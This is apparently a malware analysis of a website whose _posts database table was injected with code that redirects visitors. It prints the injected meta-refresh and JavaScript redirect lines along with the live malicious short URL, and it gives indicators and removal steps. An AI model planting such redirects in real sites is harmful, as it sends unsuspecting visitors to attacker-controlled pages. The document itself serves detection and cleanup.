Malicious Redirection via _posts Table Injection

Technical Analysis

The user’s observation indicates that the _posts table in the database was compromised with malicious entries leading to over 700 matches, suggesting a widespread issue within the database. The code evidence shows JavaScript and meta tag redirections to a short URL (https://ushort.company/QoBAPWf0r2), aligning with suspicious database alterations that redirect users. The change in _options home URL indicates an attempt to manipulate core configurations to possibly trick site behavior.

VirusTotal Analysis: 🛡️ Zero-Day / Fully Undetected.

Attack Chain

1. Identify infected entries in the _posts table
2. Meta tag and JavaScript execute redirections on page load
3. Users are redirected to an external harmful URL

Code Signature(s)

FILE: sample.txt

<meta http-equiv="refresh" content="0; url=https://ushort.company/QoBAPWf0r2" />
<script>window.location.href = "https://ushort.company/QoBAPWf0r2";</script>

Indicators of Compromise (IOCs)

• _posts table
• ushort.company/QoBAPWf0r2
• meta http-equiv="refresh"
• window.location.href

Removal Protocol

1. Export the _posts table
2. Cleanse all rows exhibiting the malicious redirection code
3. Reimport the cleaned table to the database
4. Verify and update the _options table to remove any unauthorized URL modifications

Status: Active Threat.
Verification: Verified by MD Pabel.